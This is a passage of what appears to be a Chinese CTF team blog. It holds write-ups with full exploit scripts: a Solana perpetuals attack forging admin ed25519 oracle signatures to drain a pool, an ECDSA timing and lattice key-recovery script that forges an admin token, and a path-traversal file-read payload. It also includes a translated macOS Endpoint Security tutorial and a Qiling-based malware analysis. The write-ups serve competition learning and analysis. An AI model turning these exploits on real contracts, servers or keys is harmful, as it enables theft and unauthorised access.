    if max_in < 1:
        return 1
    return int(max_in)

# -------------------------------------------------------------------------
# 主逻辑
# -------------------------------------------------------------------------

def main():

    # host, port = "10.10.10.80", 1337
    # host, port = "192.168.2.94", 1337
    host, port = "127.0.0.1", 1337
    client = SolanaClient(host, port)

    player = client.read_banner_key("Player:")
    admin = client.read_banner_key("Admin:")
    mint1 = client.read_banner_key("Mint1:")
    mint2 = client.read_banner_key("Mint2:")

    program_id = Pubkey.from_string("Bmr31xzZYYVUdoHmAJL1DAp2anaitW8Tw9YfASS94MKJ")

    perpetuals_pda = Pubkey.find_program_address([b"perpetuals"], program_id)[0]
    transfer_authority_pda = Pubkey.find_program_address([b"transfer_authority"], program_id)[0]
    pool_pda = Pubkey.find_program_address([b"pool", b"test pool"], program_id)[0]

    custody1_pda = Pubkey.find_program_address([b"custody", bytes(pool_pda), bytes(mint1)], program_id)[0]
    custody2_pda = Pubkey.find_program_address([b"custody", bytes(pool_pda), bytes(mint2)], program_id)[0]

    custody1_token = Pubkey.find_program_address([b"custody_token_account", bytes(pool_pda), bytes(mint1)], program_id)[0]
    custody2_token = Pubkey.find_program_address([b"custody_token_account", bytes(pool_pda), bytes(mint2)], program_id)[0]

    oracle1_pda = Pubkey.find_program_address([b"oracle_account", bytes(pool_pda), bytes(mint1)], program_id)[0]
    oracle2_pda = Pubkey.find_program_address([b"oracle_account", bytes(pool_pda), bytes(mint2)], program_id)[0]

    player_ata1 = get_associated_token_address(player, mint1)
    player_ata2 = get_associated_token_address(player, mint2)
    create_ata_data = bytes([1])  # CreateIdempotent
    def make_create_ata_ix(mint, ata):
        return Instruction(
            SPL_ASSOCIATED_TOKEN_ID,
            create_ata_data,
            [
                AccountMeta(player, True, True),   # funding (signer)
                AccountMeta(ata, False, True),     # ata
                AccountMeta(player, False, False), # owner
                AccountMeta(mint, False, False),   # mint
                AccountMeta(SYS_PROGRAM_ID, False, False),
                AccountMeta(SPL_TOKEN_ID, False, False),
            ]
        )

    client.send_transaction([
        make_create_ata_ix(mint1, player_ata1),
        make_create_ata_ix(mint2, player_ata2)
    ])
    client.reconnect()
    # 生成攻击 key
    attacker_keypair = Keypair()
    ts_base = int(time.time())

    def fresh_ts():
        nonlocal ts_base
        ts_base = max(ts_base + 1, int(time.time()))
        return ts_base

    def set_oracle(custody_pda, oracle_pda, price, expo):
        params = serialize_params(custody_pda, price, expo, 1, price, fresh_ts())
        fake, real = forge_ed25519_pair(admin, params, attacker_keypair)
        ix = Instruction(program_id, IX_SET_CUSTOM_ORACLE_PRICE + params, [
            AccountMeta(perpetuals_pda, False, False),
            AccountMeta(pool_pda, False, False),
            AccountMeta(custody_pda, False, False),
            AccountMeta(oracle_pda, False, True),
            AccountMeta(SYSVAR_INSTRUCTIONS_ID, False, False),
        ])
        client.send_transaction([fake, real, ix])
        client.reconnect()

    def swap_m1_to_m2(amount):
        data = IX_SWAP + struct.pack("<Q", amount) + struct.pack("<Q", 0)
        ix = Instruction(program_id, data, [
            AccountMeta(player, True, True),
            AccountMeta(player_ata1, False, True),
            AccountMeta(player_ata2, False, True),
            AccountMeta(transfer_authority_pda, False, False),
            AccountMeta(perpetuals_pda, False, False),
            AccountMeta(pool_pda, False, True),
            AccountMeta(custody1_pda, False, True),
            AccountMeta(oracle1_pda, False, False),
            AccountMeta(custody1_token, False, True),
            AccountMeta(custody2_pda, False, True),
            AccountMeta(oracle2_pda, False, False),
            AccountMeta(custody2_token, False, True),
            AccountMeta(SPL_TOKEN_ID, False, False),
        ])
        client.send_transaction([ix])
        client.reconnect()

    def swap_m2_to_m1(amount):
        data = IX_SWAP + struct.pack("<Q", amount) + struct.pack("<Q", 0)
        ix = Instruction(program_id, data, [
            AccountMeta(player, True, True),
            AccountMeta(player_ata2, False, True),
            AccountMeta(player_ata1, False, True),
            AccountMeta(transfer_authority_pda, False, False),
            AccountMeta(perpetuals_pda, False, False),
            AccountMeta(pool_pda, False, True),
            AccountMeta(custody2_pda, False, True),
            AccountMeta(oracle2_pda, False, False),
            AccountMeta(custody2_token, False, True),
            AccountMeta(custody1_pda, False, True),
            AccountMeta(oracle1_pda, False, False),
            AccountMeta(custody1_token, False, True),
            AccountMeta(SPL_TOKEN_ID, False, False),
        ])
        client.send_transaction([ix])
        client.reconnect()

    def fetch_metrics():
        url = f"http://{host}:8080/metrics"
        data = json.loads(urllib.request.urlopen(url).read().decode())
        return float(data["custody1"]), float(data["custody2"]), float(data["aum"])
    set_oracle(custody1_pda, oracle1_pda, 1_000_000_000, -3)
    set_oracle(custody2_pda, oracle2_pda, 1_000_000_000, -9)
    swap_m1_to_m2(900)
    c1,c2,aum = fetch_metrics()

    def a2b(amount, times, p1,e1 ,p2,e2):
        for _ in range(times):
            p1, e1 = 1_000_000_000, -7
            p2, e2 = 1_000_000_000, -5
            set_oracle(custody1_pda, oracle1_pda, p1, e1)
            set_oracle(custody2_pda, oracle2_pda, p2, e2)
            swap_m2_to_m1(amount)

            c1,c2,aum = fetch_metrics()
            print(f"A-B {c1=} {c2=} {aum=}")
            sleep(0.1)
    def b2a(amount, times, p1,e1 ,p2,e2):
        for _ in range(times):
            p1, e1 = 1_000_000_000, -3
            p2, e2 = 1_000_000_000, -6
            set_oracle(custody1_pda, oracle1_pda, p1, e1)
            set_oracle(custody2_pda, oracle2_pda, p2, e2)
            swap_m1_to_m2(amount)

            c1,c2,aum = fetch_metrics()
            print(f"B-A {c1=} {c2=} {aum=}")
            sleep(0.1)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 6, 1_000_000_000, -3, 1_000_000_000, -6)
    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)
    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)
    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 20, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 12, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_00, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_0_000, 20, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_00, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_0_000, 8, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_00, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_0_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    client.r.sendlineafter("num instructions:", b"0")
    client.r.close()



if __name__ == "__main__":
    main()

TrustSQL

依旧codex

秒了

这个太刻晴了，给我整甘雨了，，，这真是realworld？出成ctf吧，没什么必要上去演示

Forge

好像队友也是用ai切的，反正主要操作是做调用然后侧信道？吧

from requests import get, post

import requests
import json
import time
import os
from hashlib import sha256
from ecdsa import SigningKey, SECP256k1
import base64

url = "http://10.10.10.233:5000"

def get_pubkey():
    r = requests.get(f"{url}/api/pubkey")
    return bytes.fromhex(r.json()['vk'])

def collect_data():
    # Parameters
    kbits = 240
    train_times = 100
    ncount = 400
    
    print(f"[*] Setting parameters: kbits={kbits}, train={train_times}, ncount={ncount}")
    r = requests.post(f"{url}/api/set_param", json={
        "kbits": kbits,
        "train": train_times,
        "ncount": ncount
    })
    print(f"[*] Set param response: {r.json()}")
    
    print("[*] Collecting training data...")
    r = requests.get(f"{url}/api/train")
    data = r.json()
    costs = data['costs']
    sigs = data['sigs']
    
    # Pair them up
    pairs = []
    for c, s in zip(costs, sigs):
        pairs.append((c, s))
        
    # Sort by cost (ascending)
    pairs.sort(key=lambda x: x[0])
    
    # Take the top ones (fastest)
    # We expect half of them to be small k (kbits=240)
    # Let's take top 60 to be very safe
    top_pairs = pairs[:60]
    
    print(f"[*] Collected {len(top_pairs)} signatures with low signing time.")

    
    # Prepare data for Sage
    # We need r, s, and the message hash
    # Message is fixed in server.py: b"Not your keys, not your coins!"
    msg = b"Not your keys, not your coins!"
    msg_digest = sha256(msg).digest().hex()
    
    output = {
        "msg_digest": msg_digest,
        "sigs": [p[1] for p in top_pairs],
        "n": int(SECP256k1.order),
        "kbits": kbits
    }
    
    with open("data.json", "w") as f:
        json.dump(output, f)
    print("[*] Data saved to data.json")

def forge_token():
    if not os.path.exists("privkey.txt"):
        print("[-] privkey.txt not found. Run solve.sage first.")
        return

    with open("privkey.txt", "r") as f:
        d = int(f.read())
    
    print(f"[*] Loaded private key: {d}")
    sk = SigningKey.from_secret_exponent(d, curve=SECP256k1)
    
    # Verify against public key
    vk = sk.verifying_key
    r = requests.get(f"{url}/api/pubkey")
    server_vk_hex = r.json()['vk']
    my_vk_hex = vk.to_string().hex()
    
    print(f"[*] Server VK: {server_vk_hex}")
    print(f"[*] My VK:     {my_vk_hex}")
    
    if server_vk_hex != my_vk_hex:
        print("[-] Private key mismatch! The recovered key is incorrect.")
        return

    print("[+] Private key verified!")
    
    # Payload
    payload = json.dumps({"username": "admin"}).encode()
    # The server decodes base64 payload
    # payload = base64.b64decode(payload)
    # So we need to base64 encode it
    payload_b64 = base64.b64encode(payload).decode()
    
    # Sign payload
    # verify_token:
    # msg = parts[0].encode() -> this is payload_b64.encode()
    msg = payload_b64.encode()
    msg_digest = sha256(msg).digest()
    
    signature = sk.sign_digest(msg_digest)
    sig_b64 = base64.b64encode(signature).decode()
    
    token = f"{payload_b64}.{sig_b64}"
    print(f"[*] Forged token: {token}")
    
    # Access welcome
    cookies = {'token': token}
    r = requests.get(f"{url}/welcome", cookies=cookies)
    
    print("[*] Response from /welcome:")
    print(r.text)
    
    if "flag" in r.text.lower() or "admin" in r.text.lower():
        print("[+] Exploitation successful!")
        return token




if __name__ == "__main__":
    while True:
        os.system("rm privkey.txt")
        os.system("rm data.json")
        collect_data()
        os.system("sage solve.sage")
        try:
            token = forge_token()
            if token is not None:
                print(f"[+] Use this token to access admin: {token}")
                break
            else:
                print("[-] Failed to forge token.")
                continue
        except Exception as e:
            print(f"[-] Error during forging token: {e}")
            continue

import json
from sage.all import *

def solve():
    print("[*] Loading data...")
    with open("data.json", "r") as f:
        data = json.load(f)

    sigs = data["sigs"]
    msg_digest = int(data["msg_digest"], 16)
    n = int(data["n"])
    kbits = data["kbits"]
    
    # Parse signatures
    parsed_sigs = []
    for s_hex in sigs:
        r = int(s_hex[:64], 16)
        s = int(s_hex[64:], 16)
        parsed_sigs.append((r, s))
        
    m = len(parsed_sigs)
    print(f"[*] Loaded {m} signatures")
    
    # Prepare HNP parameters
    # k = s^-1 * (z + r * d) mod n
    # k = s^-1 * z + s^-1 * r * d mod n
    # k = t + u * d mod n
    
    ts = []
    us = []
    
    for r, s in parsed_sigs:
        s_inv = inverse_mod(s, n)
        t = (s_inv * msg_digest) % n
        u = (s_inv * r) % n
        ts.append(t)
        us.append(u)
        
    # Eliminate d
    # k_i = t_i + u_i * d mod n
    # k_1 = t_1 + u_1 * d mod n  => d = u_1^-1 * (k_1 - t_1) mod n
    # k_i = t_i + u_i * u_1^-1 * (k_1 - t_1) mod n
    # k_i = t_i + w_i * (k_1 - t_1) mod n
    # k_i = t_i + w_i * k_1 - w_i * t_1 mod n
    # k_i - w_i * k_1 = t_i - w_i * t_1 mod n
    # Let c_i = t_i - w_i * t_1 mod n
    # k_i - w_i * k_1 - l_i * n = c_i
    # k_i = w_i * k_1 + l_i * n + c_i
    
    # Try different subsets
    available_sigs = len(sigs)
    for num_sigs in [20, 25, 30, 40, 50, 60]:
        if num_sigs > available_sigs:
            break
            
        print(f"[*] Trying with {num_sigs} signatures...")
        
        subset_indices = range(num_sigs)
        
        # Recalculate ws and cs for this subset
        # We need to re-index relative to the first element of the subset
        
        # Let's just use the first num_sigs from the sorted list
        # We assume they are sorted by quality (time)
        
        current_ts = ts[:num_sigs]
        current_us = us[:num_sigs]
        
        u1_inv = inverse_mod(current_us[0], n)
        ws = []
        cs = []
        
        # Centering
        # k_i = w_i * k_1 + l_i * n + c_i
        # We want k_i in [0, 2^kbits)
        # Shift to [-2^(kbits-1), 2^(kbits-1))
        # k_i_centered = k_i - 2^(kbits-1)
        # k_i_centered + 2^(kbits-1) = w_i * (k_1_centered + 2^(kbits-1)) + l_i * n + c_i
        # k_i_centered = w_i * k_1_centered + l_i * n + (c_i + w_i * 2^(kbits-1) - 2^(kbits-1))
        
        bias = 2**(kbits-1)
        
        for i in range(num_sigs):
            w = (current_us[i] * u1_inv) % n
            c = (current_ts[i] - w * current_ts[0]) % n
            
            # Adjust c for centering
            c_prime = (c + w * bias - bias) % n
            
            ws.append(w)
            cs.append(c_prime)
            
        B = 2**(kbits-1) # Bound is now half the range
        
        matrix_rows = []
        
        # Row for k1_centered
        row = [1] + ws[1:] + [0]
        matrix_rows.append(row)
        
        # Rows for n
        for i in range(num_sigs-1):
            row = [0] * (num_sigs+1)
            row[i+1] = n
            matrix_rows.append(row)
            
        # Row for target
        row = [0] + cs[1:] + [B]
        matrix_rows.append(row)
        
        mat = Matrix(ZZ, matrix_rows)
        
        # print("[*] LLL reduction...")
        L = mat.LLL()
        
        for row in L:
            if abs(row[-1]) == B:
                pot_k1_centered = row[0]
                if row[-1] < 0:
                    pot_k1_centered = -pot_k1_centered
                    
                # Recover k1
                pot_k1 = pot_k1_centered + bias
                
                # Calculate d
                d = (u1_inv * (pot_k1 - current_ts[0])) % n
                
                # Verify
                k2_calc = (current_ts[1] + current_us[1] * d) % n
                
                # Check if k2 is small (it should be)
                # Also check if it matches the public key if we had it, but we don't easily here.
                # But we can check if the recovered d is consistent with ALL signatures in the subset
                
                consistent = True
                for j in range(num_sigs):
                    kj_calc = (current_ts[j] + current_us[j] * d) % n
                    if kj_calc >= 2**kbits:
                        consistent = False
                        break
                
                if consistent:
                     print(f"[+] Found private key: {d}")
                     with open("privkey.txt", "w") as f:
                         f.write(str(d))
                     print("[*] Private key saved to privkey.txt")
                     return

    print("[-] Failed to recover private key")

if __name__ == "__main__":
    solve()

AWDU

叫什么awdu啊，就是现在awd不都是这样么

Web - fox

第一个洞

response = r.post(f"http://{ip}:{port}/index.php/plus/download/file", data={"name": "../../../../../../../../../flag"}).text 任意读。name必须走post发来避开他防火墙，所以fix就是反过来把post给收掉。

第二个洞

应该是Zipdown的解压，可以构造恶意包解压来做任意写。没写出来攻击。

Pwn - smiles

ADD
.  /flag

三个空格。怎么还是个后门来的。

队里没pwn了，做到这样差不多拼尽全力了…后面复现试试看做其他的？

把我做了的放上来吧。

Wanna feel love

chal.1 She only wanted to sing, but her voice was hidden in silence. What is this email trying to tell you? Look beyond what you hear — seek the whispers in the shadows, the comments that were never meant to be seen.

给了个eml，看着没有实际意义的，尝试用spammimic解码就有。

chal.2 She wants to tell you something, encoded in melodies. Within the digital symphony, her true voice emerges. What is the hidden message found in the XM file? The words she longed to sing, the feeling she wanted to share.

附件里有一个xm文件，找个支持声轨的软件打开听感觉是morse，但并不是。发现刚好是8的倍数，于是转了下

chal.3 She just feels love, and her legend once spread across YouTube. Her song touched hearts, but the original video on the YouTube platform has been removed — deleted, re-uploaded, distorted, like memories fading with time. Through the fragments of public records, find where her voice first echoed: the original video ID, upload date (YYYY-MM-DD), and the one who first shared her song.

不懂然后问了下gpt。真的会被取代掉吧。

chal.4 Her creator captured her voice, preserved in a 15-minute audio/video DVD. She only wanted to sing, and he gave her that chance. If you wish to purchase her album, to hear her songs of love, which link should you visit? After purchasing, who is the sender? And what is the actual creation year when these musical compositions first came to life?

对了一大半，最后这个名字寄件人是网站页脚的

chal.5 Some called her creator a murderer, others said he built her out of love. She only wanted to sing. She wants to tell you. She just feels love. The truth lies in older archives — an obituary, a quiet memorial, where the story of her creator rests in digital silence. Find the developer's digital grave. (URL, no trailing slash)

还是能秒。

后记：对着一个诡异女机器人搜东西真的很吓人

Asgard Fallen Down

Chal.1 What was the first command Loki executed after his agent established connection?

Chal.2 How many seconds passed between each heartbeat of Loki's agent?

盲猜10

Chal.3 What processor model powers Thor's machine?

Chal.4 According to the screenshot Loki exfiltrated, which vulnerability scanning tool was Thor running at that moment?

全复制进来

Shadows of Asgard

Chal.1 What is the name of the company Loki used as camouflage on his C2 server's front page?

Chal.2 Identify the complete file path where Loki's C2 agent was running.

Chal.3 What is the taskId for the pwd command that Loki executed?

Chal.4 When was Thor's C: drive created?

Chal.5 What secret message did Loki hide in the file he uploaded?

写在前面

安全工具的常见组件之一是进程监视器（process monitor）——它监听新进程的创建事件并提取相关信息，如 PID、路径、参数及 Code Signing 信息。

Patrick Wardle 在其多款 Objective-See 工具中都使用了进程监控逻辑，例如：

• RansomWhere?：监控加密行为，判断是否为勒索软件。
• TaskExplorer：实时显示系统运行的进程。
• BlockBlock：关联持久化事件与具体进程。

由于每次都需重复编写监控逻辑，他后来将其封装为独立库 ProcInfo（基于 OpenBSM）。

从 OpenBSM 到 Endpoint Security Framework

在 macOS 10.15 以前，用户态想捕获进程事件主要依赖 OpenBSM 审计子系统。

但 OpenBSM 存在多项缺点：

1. 接口复杂，需要手动解析二进制 audit 记录；
2. 审计事件不包含 Code Signing 信息，需额外查询；
3. 是被动的（事件发生后才上报），难以实现主动防御。

Apple Endpoint Security Framework

随着苹果禁止三方进入内核并推出 System Extensions，苹果在 10.15 引入了新的 Endpoint Security Framework (ESF)，它提供用户态接口以订阅安全事件。

优势：

• 清晰简单的 API；
• 事件中直接包含 Code Signing 信息；
• 可主动响应（拦截）或被动监听安全事件。

环境与前提

要使用 Endpoint Security Framework 需要：

1. Entitlement： com.apple.developer.endpoint-security.client

• 向 Apple 申请或在禁用 SIP 环境下自行添加：

<key>com.apple.developer.endpoint-security.client</key>
<true/>

1. Xcode 11 及 macOS 10.15 SDK
2. 系统版本：macOS 10.15 及以上

创建 ES 客户端

1. 头文件位置：

/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/usr/include/EndpointSecurity/

1. 在代码中：

#import <EndpointSecurity/EndpointSecurity.h>
es_client_t *endpointClient = nil;
result = es_new_client(&endpointClient, ^(es_client_t *client, const es_message_t *message) {
    // 事件处理
});
if (result != ES_NEW_CLIENT_RESULT_SUCCESS)
    NSLog(@"es_new_client failed: %d", result);

1. 返回值类型 es_new_client_result_t 表示初始化结果（成功、权限不足等）。

编译时需链接 libEndpointSecurity 库。

订阅事件

es_event_type_t events[] = {
    ES_EVENT_TYPE_NOTIFY_EXEC,
    ES_EVENT_TYPE_NOTIFY_FORK,
    ES_EVENT_TYPE_NOTIFY_EXIT
};
if (ES_RETURN_SUCCESS != es_subscribe(endpointClient, events, sizeof(events)/sizeof(events[0])))
    NSLog(@"es_subscribe failed");

• ES_EVENT_TYPE_AUTH_* 事件需响应才能继续（可拦截）。
• ES_EVENT_TYPE_NOTIFY_* 仅通知。

本例只使用 NOTIFY_* 型事件来被动监听。

事件回调与消息结构

回调接收 es_message_t *message，其中包含：

• process：触发事件的进程；
• event_type：事件类型；
• event：事件数据联合体。

根据事件类型提取目标进程：

es_process_t *process = NULL;
switch (message->event_type) {
case ES_EVENT_TYPE_NOTIFY_EXEC:
    process = message->event.exec.target; break;
case ES_EVENT_TYPE_NOTIFY_FORK:
    process = message->event.fork.child; break;
case ES_EVENT_TYPE_NOTIFY_EXIT:
    process = message->process; break;
}

解析 es_process_t

结构体包含：

• audit_token → 可用 audit_token_to_pid() 取 PID；
• executable->path → 进程路径；
• signing_id、team_id、cdhash → 签名信息；
• codesigning_flags → 签名标志位。

路径类型为 es_string_token_t （长度 + 指针），可转为 NSString：

NSString *s = [NSString stringWithUTF8String:
    [[NSData dataWithBytes:stringToken->data length:stringToken->length] bytes]];

提取进程参数

在 ES_EVENT_TYPE_NOTIFY_EXEC 事件中，参数位于 message->event.exec.args 中，需用 es_exec_arg_count 和 es_exec_arg 函数解析：

for (uint32_t i = 0; i < es_exec_arg_count(&event->exec); i++) {
    es_string_token_t arg = es_exec_arg(&event->exec, i);
    NSString *argument = convertStringToken(&arg);
    [self.arguments addObject:argument];
}

提取签名信息

self.signingInfo[@"flags"] = @(process->codesigning_flags);
self.signingInfo[@"signing_id"] = convertStringToken(&process->signing_id);
self.signingInfo[@"team_id"] = convertStringToken(&process->team_id);
self.signingInfo[@"is_platform_binary"] = @(process->is_platform_binary);
NSMutableString *cdHash = [NSMutableString string];
for (int i=0; i<CS_CDHASH_LEN; i++) [cdHash appendFormat:@"%X", process->cdhash[i]];
self.signingInfo[@"cdhash"] = cdHash;

处理退出事件

ES_EVENT_TYPE_NOTIFY_EXIT 事件结构为：

typedef struct {
    int stat;
    uint8_t reserved[64];
} es_event_exit_t;

可直接取 message->event.exit.stat 作为退出码。

Process Monitor 库封装

Wardle 将上述逻辑封装成开源库 libProcessMonitor.a，项目中只需：

1. 引入头文件 ProcessMonitor.h；
2. 链接 libbsm 和 libEndpointSecurity；
3. 添加 ES Entitlement；
4. 实例化并启动监控：

ProcessMonitor *procMon = [[ProcessMonitor alloc] init];
ProcessCallbackBlock block = ^(Process *process) {
    switch (process.event) {
        case ES_EVENT_TYPE_NOTIFY_EXEC: NSLog(@"EXEC"); break;
        case ES_EVENT_TYPE_NOTIFY_FORK: NSLog(@"FORK"); break;
        case ES_EVENT_TYPE_NOTIFY_EXIT: NSLog(@"EXIT"); break;
    }
    NSLog(@"%@", process);
};
[procMon start:block];
[[NSRunLoop currentRunLoop] run];

输出示例：

PROCESS EXEC ('ES_EVENT_TYPE_NOTIFY_EXEC')
pid: 7655
path: /bin/ls
uid: 501
args: (ls, "-lart", ".")
signing info: { cdHash = 5180A360C9..., signatureIdentifier = "com.apple.ls" }

PROCESS EXIT ('ES_EVENT_TYPE_NOTIFY_EXIT')
pid: 7655
exit code: 0

总结

在 macOS 10.15 以前，编写用户态进程监视器复杂且局限。

新的 Endpoint Security Framework 极大简化了实现流程：

1. 调用 es_new_client 与 es_subscribe 建立客户端并订阅事件；
2. 监听 ES_EVENT_TYPE_NOTIFY_EXEC/FORK/EXIT 即可捕获进程创建与终止；
3. 从 es_process_t 解析 PID、路径、参数及签名信息。

该框架使得用户态安全工具开发更为高效与安全。

原文与示例代码版权归 Patrick Wardle 与 Objective-See 所有，译文仅供学习参考。

友：谁家好人在我服务器里放这个😡

我：发来玩玩

样本sha256sum： 54d60fd58d7fa3475fa123985bfc1594df26da25c1f5fbc7dfdba15876dd8ac5

查一下好像不少分析了。但是还是试试好不好玩？

快速看一下没加壳，所以直接丢ida里。

 可以找到逻辑在上面的main_logic里面。

注意到sub_400BC5是从.data段拿出很多东西，根据长度解密。且第一次运行了sub_400AE3。

看一眼像是rc4的ksa？

这个是prng，rc4没跑了

可以注意到这里用了execvp

考虑直接hook最后这里。

再大概看了下还有这样的一个函数用来检查environment，然后决定下面的执行流程：

分析到这里大概可以知道，run ⇒ checkenv ⇒ execvp。所以考虑hook掉这几个syscall，观察参数。

直接在物理机运行这个文件会对系统造成损坏，我们用“qiling“模拟执行。注意到这里我们需要下载它给的rootfs（或者其实是glibc）

from sys import argv
from qiling import Qiling
from capstone import Cs
from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE, QL_INTERCEPT
from qiling.os.const import STRING, POINTER
from colorama import Fore, Style, init
binary_path = "target"
rootfs = "./rootfs/x8664_linux"
ql = Qiling(
    [binary_path],
    rootfs,
    archtype=QL_ARCH.X8664,
    ostype=QL_OS.LINUX,
    verbose=QL_VERBOSE.OFF,
)

def ql_hook_execvp(ql):
    params = ql.os.resolve_fcall_params({'file': STRING, 'argv': POINTER})
    print(f"{Fore.CYAN}[*] execvp{Style.RESET_ALL}('{Fore.YELLOW}{params['file']}{Style.RESET_ALL}'", end="")
    argv_ptr = params["argv"]

    if argv_ptr:
        i = 0
        while True:
            arg_ptr = ql.mem.read_ptr(argv_ptr + i * ql.arch.pointersize)
            if arg_ptr == 0:
                break
            arg_str = ql.os.utils.read_cstring(arg_ptr)
            print(f", {Fore.GREEN}\"{arg_str}\"{Style.RESET_ALL}", end="")
            i += 1
        print(")")
    return 0
def ql_hook_getenv(ql):
    params = ql.os.resolve_fcall_params({'name': STRING})
    name = params['name']
    print(f"{Fore.YELLOW}[*] getenv('{name}'){Style.RESET_ALL}")
    ql.arch.regs.rax = 0 # return 0

def ql_hook_putenv(ql):
    params = ql.os.resolve_fcall_params({'name': STRING})
    name = params['name']
    print(f"{Fore.YELLOW}[*] putenv('{name}'){Style.RESET_ALL}")
    ql.arch.regs.rax = 0 # return 0


ql.os.set_api("execvp", ql_hook_execvp)
ql.os.set_api("getenv", ql_hook_getenv)
ql.os.set_api("putenv", ql_hook_putenv)
ql.run()

运行后可以看到，它设置里环境变量，而后重启了一次。

所以模拟一下环境变量，底下运行参数带上：

from sys import argv
from qiling import Qiling
from capstone import Cs
from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE, QL_INTERCEPT
from qiling.os.const import STRING, POINTER
from colorama import Fore, Style, init
binary_path = "target"
rootfs = "./rootfs/x8664_linux"


env_storage = {}
_ENV_ARENA_BASE = None
_ENV_ARENA_SIZE = 0x10000
_ENV_ARENA_NEXT = 0


def _env_alloc(ql, size: int) -> int:
    global _ENV_ARENA_BASE, _ENV_ARENA_NEXT
    size = (size + 7) & ~7
    if _ENV_ARENA_BASE is None:
        base = 0x55550000
        ql.mem.map(base, _ENV_ARENA_SIZE, 3)
        _ENV_ARENA_BASE = base
        _ENV_ARENA_NEXT = 0
    if _ENV_ARENA_NEXT + size > _ENV_ARENA_SIZE:
        new_base = _ENV_ARENA_BASE + _ENV_ARENA_SIZE
        ql.mem.map(new_base, _ENV_ARENA_SIZE, 3)
        _ENV_ARENA_BASE = new_base
        _ENV_ARENA_NEXT = 0
